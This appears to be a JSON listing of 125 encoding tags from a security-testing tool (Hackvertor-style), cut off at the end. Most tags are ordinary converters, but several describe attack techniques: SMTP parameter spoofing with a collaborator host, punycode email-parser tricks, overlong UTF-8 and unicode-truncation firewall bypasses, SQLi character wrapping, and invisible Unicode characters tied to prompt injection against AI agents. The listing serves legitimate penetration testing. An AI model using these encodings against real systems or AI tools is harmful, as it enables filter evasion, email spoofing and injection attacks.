{"usage":{"callTag":"hv.tags.<name>.encode(input, ...args) - await it when the tag is async. Returns undefined for a tag that isn't registered.","readVariable":"hv.variables.<path>","availability":"Built-in tags are always registered. Tags with builtIn:false only resolve for users who installed them from the tag store, so avoid depending on them.","arguments":"Arguments follow input in the order declared. string, quotelessString and enum arrive as a string, number as a number, boolean as a boolean.","fullVariables":"Add ?variables=full for the complete variable data instead of a summary.","storeTags":"Add ?tags=all to include tags from the tag store."},"counts":{"tags":125,"builtIn":125},"tags":[{"name":"jsArray","description":"Splits on comma and creates a JS array","category":"Array","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(jsArray)>input</@encode>","call":"hv.tags.jsArray.encode(input)"},{"name":"shuffle","description":"This tag splits the input with a comma then shuffles the array and returns the output as a string.","category":"Array","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(shuffle)>input</@encode>","call":"hv.tags.shuffle.encode(input)"},{"name":"sort","description":"This splits the input with a comma and then sorts the array numerically or by string. The order parameter controls the direction.","category":"Array","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This provides the sort order","defaultValue":"asc"}],"example":"<@encode(sort,'asc')>input</@encode>","call":"hv.tags.sort.encode(input, arg1)"},{"name":"unique","description":"This tags splits on comma and removes any duplicates.","category":"Array","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(unique)>input</@encode>","call":"hv.tags.unique.encode(input)"},{"name":"bom","description":"This produces BOM characters for the charset specified in the parameter.","category":"Charsets","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"string","help":"This provides the charset - Supported charsets are: UTF-8,UTF16BE,UTF16LE,UTF32BE,UTF32LE,UTF-7,SCSU,BOCU1,GB18030,UTF1,UTF-EBCDIC,UTF-7Modified","defaultValue":"UTF-8"}],"example":"<@encode(bom,'UTF-8') />","call":"hv.tags.bom.encode(input, arg1)"},{"name":"iso2022Escapes","description":"Returns all the ISO-2022-JP escape sequences","category":"Charsets","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(iso2022Escapes) />","call":"hv.tags.iso2022Escapes.encode(input)"},{"name":"overlongUTF8","description":"This tag converts all characters below or equal to 0x7ff into overflow UTF-8 sequences","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"Length of overlong sequence","defaultValue":"6"},{"type":"boolean","help":"Use raw characters or not","defaultValue":"false"}],"example":"<@encode(overlongUTF8,6,false)>input</@encode>","call":"hv.tags.overlongUTF8.encode(input, arg1, arg2)"},{"name":"unicodeNormalization","description":"This tag performs normalization on every unicode character using each normalization form. Then loops through the input and compares the normalized form to the input and replaces the input with the unicode character that transforms to it.","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(unicodeNormalization)>input</@encode>","call":"hv.tags.unicodeNormalization.encode(input)"},{"name":"unicodeTruncation","description":"Converts ASCII characters to characters that end with the hex byte of the character being converted. See https://infosecwriteups.com/6000-with-microsoft-hall-of-fame-microsoft-firewall-bypass-crlf-to-xss-microsoft-bug-bounty-8f6615c47922","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"Position to start from","defaultValue":"20000"},{"type":"number","help":"Position to end","defaultValue":"30000"}],"example":"<@encode(unicodeTruncation,20000,30000)>input</@encode>","call":"hv.tags.unicodeTruncation.encode(input, arg1, arg2)"},{"name":"us_ascii","description":"Shifts the charcodes by 128 to create malformed US-ASCII","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(us_ascii)>input</@encode>","call":"hv.tags.us_ascii.encode(input)"},{"name":"utf16","description":"Standard UTF-16 (big-endian)","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(utf16)>input</@encode>","call":"hv.tags.utf16.encode(input)"},{"name":"utf16BE","description":"utf16BE – UTF-16 Big Endian","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(utf16BE)>input</@encode>","call":"hv.tags.utf16BE.encode(input)"},{"name":"utf16LE","description":"utf16LE – UTF-16 Little Endian","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(utf16LE)>input</@encode>","call":"hv.tags.utf16LE.encode(input)"},{"name":"utf7","description":"This encodes and decodes UTF-7 used in browsers and email parsers.","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"string","help":"Provides a prefix","defaultValue":"&"}],"example":"<@encode(utf7,'&')>input</@encode>","call":"hv.tags.utf7.encode(input, arg1)"},{"name":"utf8BytesHex","description":"This converts a unicode character into the UTF-8 bytes and returns the output as hex.","category":"Charsets","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(utf8BytesHex)>input</@encode>","call":"hv.tags.utf8BytesHex.encode(input)"},{"name":"deflate","description":"Deflate compression and decompression","category":"Compression","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(deflate)>input</@encode>","call":"hv.tags.deflate.encode(input)"},{"name":"gzip","description":"This compresses and decompresses GZIP","category":"Compression","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(gzip)>input</@encode>","call":"hv.tags.gzip.encode(input)"},{"name":"rawDeflate","description":"Compresses and decompresses raw deflate","category":"Compression","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(rawDeflate)>input</@encode>","call":"hv.tags.rawDeflate.encode(input)"},{"name":"ai","description":"This tag uses Chrome's local model to pass a prompt and return the results","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is the system prompt for the AI","defaultValue":"Reverse this text"}],"example":"<@encode(ai,'Reverse this text')>input</@encode>","call":"hv.tags.ai.encode(input, arg1)"},{"name":"autodecode","description":"This tag attempts to detect and decode layers of encoding.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(autodecode)>input</@encode>","call":"hv.tags.autodecode.encode(input)"},{"name":"base32","description":"This tag encodes and decodes base32","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base32)>input</@encode>","call":"hv.tags.base32.encode(input)"},{"name":"base58","description":"This tag decodes and encodes base58","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base58)>input</@encode>","call":"hv.tags.base58.encode(input)"},{"name":"base62","description":"This does base62 encoding and decoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base62)>input</@encode>","call":"hv.tags.base62.encode(input)"},{"name":"base64","description":"This tag encodes and decodes base64 using browser APIs atob and btoa.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base64)>input</@encode>","call":"hv.tags.base64.encode(input)"},{"name":"base64Url","description":"This performs base64 URL encoding often used with JWT","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base64Url)>input</@encode>","call":"hv.tags.base64Url.encode(input)"},{"name":"base85","description":"This tag encodes and decodes base85 encoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base85)>input</@encode>","call":"hv.tags.base85.encode(input)"},{"name":"base91","description":"This tag converts base91 data","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(base91)>input</@encode>","call":"hv.tags.base91.encode(input)"},{"name":"binary","description":"This tag converts ascii to binary","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(binary)>input</@encode>","call":"hv.tags.binary.encode(input)"},{"name":"cssEscape","description":"This tag provides CSS escapes and decoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"number","help":"This provides the number of characters to pad","defaultValue":"2"}],"example":"<@encode(cssEscape,2)>input</@encode>","call":"hv.tags.cssEscape.encode(input, arg1)"},{"name":"dec","description":"Converts decimal entities","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(dec)>input</@encode>","call":"hv.tags.dec.encode(input)"},{"name":"extractAscii","description":"This tag gathers all ascii characters and removes the rest.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(extractAscii)>input</@encode>","call":"hv.tags.extractAscii.encode(input)"},{"name":"fullWidth","description":"This converts ascii characters into their full width forms.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(fullWidth)>input</@encode>","call":"hv.tags.fullWidth.encode(input)"},{"name":"hex","description":"Converts hex entities","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[{"type":"string","help":"This provides the prefix","defaultValue":"&#x"},{"type":"string","help":"This provides the suffix","defaultValue":";"}],"example":"<@encode(hex,'&#x',';')>input</@encode>","call":"hv.tags.hex.encode(input, arg1, arg2)"},{"name":"hexBytes","description":"This encodes and decodes hex bytes","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(hexBytes)>input</@encode>","call":"hv.tags.hexBytes.encode(input)"},{"name":"hexEscape","description":"This tag provides hex escapes and decoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(hexEscape)>input</@encode>","call":"hv.tags.hexEscape.encode(input)"},{"name":"hexSpace","description":"Converts hex with spaces","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(hexSpace)>input</@encode>","call":"hv.tags.hexSpace.encode(input)"},{"name":"html","description":"This tag HTML encodes and decodes.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(html)>input</@encode>","call":"hv.tags.html.encode(input)"},{"name":"invisibleUnicode","description":"Encodes and decodes invisible Unicode tag characters. Based on: https://lirantal.com/blog/gemini-cli-invisible-unicode-skill-injection","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(invisibleUnicode)>input</@encode>","call":"hv.tags.invisibleUnicode.encode(input)"},{"name":"js","description":"This tag executes JavaScript","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(js)>input</@encode>","call":"hv.tags.js.encode(input)"},{"name":"jsAsync","description":"This tag executes JavaScript asynchronously","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(jsAsync)>input</@encode>","call":"hv.tags.jsAsync.encode(input)"},{"name":"malformedUrl","description":"This tag emulates a defective encoder found on a web site.","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(malformedUrl)>input</@encode>","call":"hv.tags.malformedUrl.encode(input)"},{"name":"octal","description":"This tag encodes and decodes octal escapes","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(octal)>input</@encode>","call":"hv.tags.octal.encode(input)"},{"name":"phpChr","description":"Encodes and decodes as the php chr() function","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(phpChr)>input</@encode>","call":"hv.tags.phpChr.encode(input)"},{"name":"punycode","description":"This tag converts Punycode","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(punycode)>input</@encode>","call":"hv.tags.punycode.encode(input)"},{"name":"templateStringExpression","description":"This tag wraps in the input in an eval and backticks","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(templateStringExpression)>input</@encode>","call":"hv.tags.templateStringExpression.encode(input)"},{"name":"unicode","description":"This tag provides unicode escapes and decoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(unicode)>input</@encode>","call":"hv.tags.unicode.encode(input)"},{"name":"unicodeEs6","description":"This tag provides ES6 unicode escapes and decoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(unicodeEs6)>input</@encode>","call":"hv.tags.unicodeEs6.encode(input)"},{"name":"url","description":"This tag does URL encode and decode","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(url)>input</@encode>","call":"hv.tags.url.encode(input)"},{"name":"url_all","description":"This tag URL encodes all characters","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(url_all)>input</@encode>","call":"hv.tags.url_all.encode(input)"},{"name":"zalgo","description":"This tag produces zalgo text that goes upwards and downwards","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the number of zalgo characters to repeat","defaultValue":"20"}],"example":"<@encode(zalgo,20)>input</@encode>","call":"hv.tags.zalgo.encode(input, arg1)"},{"name":"zbase32","description":"This performs zbase32 encoding","category":"Convert","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(zbase32)>input</@encode>","call":"hv.tags.zbase32.encode(input)"},{"name":"encodedWord","description":"Encodes and decode encoded word.","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(encodedWord)>input</@encode>","call":"hv.tags.encodedWord.encode(input)"},{"name":"encodedWordMeta","description":"This tag creates the meta data required for encoded word in email parsing attacks. You can read more about it here:\r\nhttps://portswigger.net/research/splitting-the-email-atom","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"Provides a charset","defaultValue":"iso-8859-1"},{"type":"quotelessString","help":"Provides a encoding type: q or b is supported","defaultValue":"q"}],"example":"<@encode(encodedWordMeta,'iso-8859-1',q)>input</@encode>","call":"hv.tags.encodedWordMeta.encode(input, arg1, arg2)"},{"name":"percentRoute","description":"Builds percent‑hack or source‑route flavoured addresses. Two styles: paren gives local%route(@dest and bracket gives local%route@[ip].","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"Route domain to use after %","defaultValue":"psres.net"},{"type":"string","help":"Style paren or bracket","defaultValue":"paren"},{"type":"string","help":"Destination domain or address","defaultValue":"example.com"}],"example":"<@encode(percentRoute,'psres.net','paren','example.com')>input</@encode>","call":"hv.tags.percentRoute.encode(input, arg1, arg2, arg3)"},{"name":"punyCommaSplit","description":"This tag creates an email address where the domain portion is split using a malformed Punycode label that some buggy IDN libraries interpret as a comma (xn--0049). ","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"Left domain","defaultValue":"example.com"},{"type":"string","help":"Right domain","defaultValue":"oastify.com"}],"example":"<@encode(punyCommaSplit,'example.com','oastify.com')>input</@encode>","call":"hv.tags.punyCommaSplit.encode(input, arg1, arg2)"},{"name":"punyStyleOpen","description":"Produces an address that decodes under buggy IDN to start an HTML <style tag.","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(punyStyleOpen)>input</@encode>","call":"hv.tags.punyStyleOpen.encode(input)"},{"name":"smtpParameters","description":"This tag creates a SMTP parameter attack. I've found this attack on a live target. The parameters specify your collaborator payload and domain. The input should contain the email you want to spoof.","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is your collaborator payload","defaultValue":"collab"},{"type":"string","help":"This is your collaborator domain","defaultValue":"oastify.com"}],"example":"<@encode(smtpParameters,'collab','oastify.com')>input</@encode>","call":"hv.tags.smtpParameters.encode(input, arg1, arg2)"},{"name":"unicodeOverflow","description":"This creates a unicode overflow that is described in my research:\r\nhttps://portswigger.net/research/splitting-the-email-atom","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This specifies a mask to use to create the overflow. Mask is simply a number that when combined with the character creates an overflow.","defaultValue":"0x100"}],"example":"<@encode(unicodeOverflow,0x100)>input</@encode>","call":"hv.tags.unicodeOverflow.encode(input, arg1)"},{"name":"unicodeOverflowVariations","description":"This tag generates multiple variations of unicode overflows.","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"Provides the maximum codepoint","defaultValue":"0xfff"}],"example":"<@encode(unicodeOverflowVariations,0xfff)>input</@encode>","call":"hv.tags.unicodeOverflowVariations.encode(input, arg1)"},{"name":"uucpBang","description":"Creates a bang‑path address to tickle UUCP style routing quirks in mailers.","category":"Email","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"UUCP relay domain","defaultValue":"oastify.com"},{"type":"boolean","help":"Escape the @ in the inner address set to true or false","defaultValue":"true"}],"example":"<@encode(uucpBang,'oastify.com',true)>input</@encode>","call":"hv.tags.uucpBang.encode(input, arg1, arg2)"},{"name":"rot13","description":"This rot13 tag encodes and decodes text by shifting letters 13 positions in the alphabet.","category":"Encrypt","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(rot13)>input</@encode>","call":"hv.tags.rot13.encode(input)"},{"name":"rot47","description":"The rot47 tag encodes and decodes text by shifting ASCII characters 47 positions.","category":"Encrypt","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(rot47)>input</@encode>","call":"hv.tags.rot47.encode(input)"},{"name":"xor","description":"This xor tag encodes and decodes text using a bitwise XOR operation with a given key.","category":"Encrypt","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This provides the key to use","defaultValue":"key"}],"example":"<@encode(xor,'key')>input</@encode>","call":"hv.tags.xor.encode(input, arg1)"},{"name":"integrity","description":"Creates a SHA256 hash to be used with SRI","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(integrity)>input</@encode>","call":"hv.tags.integrity.encode(input)"},{"name":"md4","description":"Creates a md4 hash of the input","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(md4)>input</@encode>","call":"hv.tags.md4.encode(input)"},{"name":"md5","description":"This performs a md5 hash of the input","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(md5)>input</@encode>","call":"hv.tags.md5.encode(input)"},{"name":"sha","description":"This tag uses the browsers crypto API to perform a hash operation using various algorithms","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"enum","help":"This argument chooses the hash algorithm to use: SHA-1, SHA-256, SHA-384, SHA-512","defaultValue":"SHA-1","values":["SHA-1","SHA-256","SHA-384","SHA-512"]}],"example":"<@encode(sha,'SHA-1')>input</@encode>","call":"hv.tags.sha.encode(input, arg1)"},{"name":"dword2ip","description":"This tag converts a 32-bit number back to an IPv4 address. It adjusts for a repeat factor by subtracting a multiple of 256^4 before extracting and converting each byte back to its original octet form.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the repeat factor","defaultValue":"1"}],"example":"<@encode(dword2ip,1)>input</@encode>","call":"hv.tags.dword2ip.encode(input, arg1)"},{"name":"hex2ip","description":"Converts an hex IP address into an decimal representation of it.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(hex2ip)>input</@encode>","call":"hv.tags.hex2ip.encode(input)"},{"name":"ip2dword","description":"This ip2dword tag converts an IPv4 address (in string format) into a 32-bit number by processing each octet and adjusting based on its position. It optionally multiplies the result by a repetition factor (repeat). ","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the number of times to repeat the dword encoding","defaultValue":"1"}],"example":"<@encode(ip2dword,1)>input</@encode>","call":"hv.tags.ip2dword.encode(input, arg1)"},{"name":"ip2hex","description":"Converts an IP address into an hex representation of it.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(ip2hex)>input</@encode>","call":"hv.tags.ip2hex.encode(input)"},{"name":"ip2oct","description":"Converts an IP address into an octal representation of it.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(ip2oct)>input</@encode>","call":"hv.tags.ip2oct.encode(input)"},{"name":"oct2ip","description":"Converts an octal IP address into an decimal representation of it.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(oct2ip)>input</@encode>","call":"hv.tags.oct2ip.encode(input)"},{"name":"base","description":"This tag convert from one base to another. The first param is the base to convert from and the second param is the base to convert to. It also splits the input with a comma.","category":"Math","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the base to convert from","defaultValue":"10"},{"type":"number","help":"This provides the base to convert to","defaultValue":"16"}],"example":"<@encode(base,10,16)>input</@encode>","call":"hv.tags.base.encode(input, arg1, arg2)"},{"name":"permute","description":"Generate all unique permutations of the inner content’s characters as separate lines. If the number of permutations exceeds a safe threshold, display an error or warning message instead.","category":"Math","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"Maximum number of permutations to generate (default: 720)","defaultValue":"720"}],"example":"<@encode(permute,720)>input</@encode>","call":"hv.tags.permute.encode(input, arg1)"},{"name":"range","description":"This creates a range of numbers","category":"Math","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the start number","defaultValue":"0"},{"type":"number","help":"This provides the end number","defaultValue":"0xff"}],"example":"<@encode(range,0,0xff) />","call":"hv.tags.range.encode(input, arg1, arg2)"},{"name":"sqlChar","description":"This tag converts the input to a character code and wraps it into a CHAR() SQL function","category":"SQLi","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(sqlChar)>input</@encode>","call":"hv.tags.sqlChar.encode(input)"},{"name":"sqlChr","description":"This tag converts the input to a character code and wraps it into a CHR() SQL function","category":"SQLi","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(sqlChr)>input</@encode>","call":"hv.tags.sqlChr.encode(input)"},{"name":"sqlHex","description":"This converts the string into hex prefixed with 0x","category":"SQLi","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(sqlHex)>input</@encode>","call":"hv.tags.sqlHex.encode(input)"},{"name":"capitalise","description":"This tag splits on spaces then capitalises the first letter of every word.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(capitalise)>input</@encode>","call":"hv.tags.capitalise.encode(input)"},{"name":"find","description":"This tag uses a regex to find data in the input.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is the regular expression used","defaultValue":"regexp"},{"type":"string","help":"This is the regular expression flags","defaultValue":"gim"}],"example":"<@encode(find,'regexp','gim')>input</@encode>","call":"hv.tags.find.encode(input, arg1, arg2)"},{"name":"fromCodePoint","description":"Splits the input into an array then calls String.fromCodePoint","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(fromCodePoint)>input</@encode>","call":"hv.tags.fromCodePoint.encode(input)"},{"name":"lower","description":"This tag converts the input to lower case","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(lower)>input</@encode>","call":"hv.tags.lower.encode(input)"},{"name":"padStart","description":"This tag by default zero pads a string, it also splits on comma to pad multiple strings.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This controls the amount of padding","defaultValue":"2"},{"type":"string","help":"This is the padding character","defaultValue":"0"}],"example":"<@encode(padStart,2,'0')>input</@encode>","call":"hv.tags.padStart.encode(input, arg1, arg2)"},{"name":"prefixSuffix","description":"This tag splits the input into pieces using new lines and then joins them with each element getting a prefix and suffix.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is the prefix to add to each piece","defaultValue":"&"},{"type":"string","help":"This is the suffix to add to each piece","defaultValue":";"}],"example":"<@encode(prefixSuffix,'&',';')>input</@encode>","call":"hv.tags.prefixSuffix.encode(input, arg1, arg2)"},{"name":"repeat","description":"This tag repeats the input the number of times in the amount argument","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This is the amount to repeat","defaultValue":"0xff"}],"example":"<@encode(repeat,0xff)>input</@encode>","call":"hv.tags.repeat.encode(input, arg1)"},{"name":"replaceAll","description":"This tag does a string replace all without a regex.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is used to find the string","defaultValue":"find"},{"type":"string","help":"This is used to replace the string","defaultValue":"replace"}],"example":"<@encode(replaceAll,'find','replace')>input</@encode>","call":"hv.tags.replaceAll.encode(input, arg1, arg2)"},{"name":"replaceAllRegex","description":"This tag does a string replace all with a regex.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is used to find the string","defaultValue":"regex"},{"type":"string","help":"This is used to replace the string","defaultValue":"replace"}],"example":"<@encode(replaceAllRegex,'regex','replace')>input</@encode>","call":"hv.tags.replaceAllRegex.encode(input, arg1, arg2)"},{"name":"reverse","description":"This tag reverses the input","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(reverse)>input</@encode>","call":"hv.tags.reverse.encode(input)"},{"name":"splitJoin","description":"This tag splits the input with the split parameter and then joins it with the join parameter.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This provides the split character","defaultValue":","},{"type":"string","help":"This provides the join character","defaultValue":","}],"example":"<@encode(splitJoin,',',',')>input</@encode>","call":"hv.tags.splitJoin.encode(input, arg1, arg2)"},{"name":"toCodePoint","description":"Splits the input into an array then calls codePointAt","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(toCodePoint)>input</@encode>","call":"hv.tags.toCodePoint.encode(input)"},{"name":"upper","description":"This tag converts the input to upper case","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(upper)>input</@encode>","call":"hv.tags.upper.encode(input)"},{"name":"invisibleSeparator","description":"This generates a invisibleSeparator character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(invisibleSeparator) />","call":"hv.tags.invisibleSeparator.encode(input)"},{"name":"leftToRightOverride","description":"This tag generates a left to right override character that can stop the effects of right to left override","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(leftToRightOverride) />","call":"hv.tags.leftToRightOverride.encode(input)"},{"name":"lineSeparator","description":"This produces a line separator often useful for creating new lines.","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(lineSeparator) />","call":"hv.tags.lineSeparator.encode(input)"},{"name":"nextLineChar","description":"Returns the next line character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(nextLineChar) />","call":"hv.tags.nextLineChar.encode(input)"},{"name":"paragraphSeparator","description":"This produces a paragraph separator often useful for creating new lines.","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(paragraphSeparator) />","call":"hv.tags.paragraphSeparator.encode(input)"},{"name":"rightToLeftOverride","description":"This tag generates a right to left override character that can reverse text","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(rightToLeftOverride) />","call":"hv.tags.rightToLeftOverride.encode(input)"},{"name":"strikethrough","description":"This creates a strikethrough effect using unicode combining long stroke overlay","category":"Unicode","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(strikethrough)>input</@encode>","call":"hv.tags.strikethrough.encode(input)"},{"name":"unicodeEffect","description":"Applies Unicode characters to visually enhance text with various effects like underline, strike-through, and more.","category":"Unicode","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"enum","help":"This tag does various unicode effects","defaultValue":"strike","values":["underline","doubleUnderline","overline","doubleOverline","strike","shortStrike","tilde","slash","circle","square","diamond"]}],"example":"<@encode(unicodeEffect,'strike')>input</@encode>","call":"hv.tags.unicodeEffect.encode(input, arg1)"},{"name":"unicodeWhitespace","description":"This tags returns all unicode whitespace","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(unicodeWhitespace) />","call":"hv.tags.unicodeWhitespace.encode(input)"},{"name":"upsideDownUnicode","description":"Reverses Unicode characters using a custom mapping for an upside-down effect.","category":"Unicode","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(upsideDownUnicode)>input</@encode>","call":"hv.tags.upsideDownUnicode.encode(input)"},{"name":"wordJoiner","description":"This tag generates a wordJoiner character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(wordJoiner) />","call":"hv.tags.wordJoiner.encode(input)"},{"name":"zeroWidthJoiner","description":"This tag generates a zeroWidthJoiner character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(zeroWidthJoiner) />","call":"hv.tags.zeroWidthJoiner.encode(input)"},{"name":"zeroWidthNoBreakSpace","description":"This generates a zeroWidthNoBreakSpace characters","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(zeroWidthNoBreakSpace) 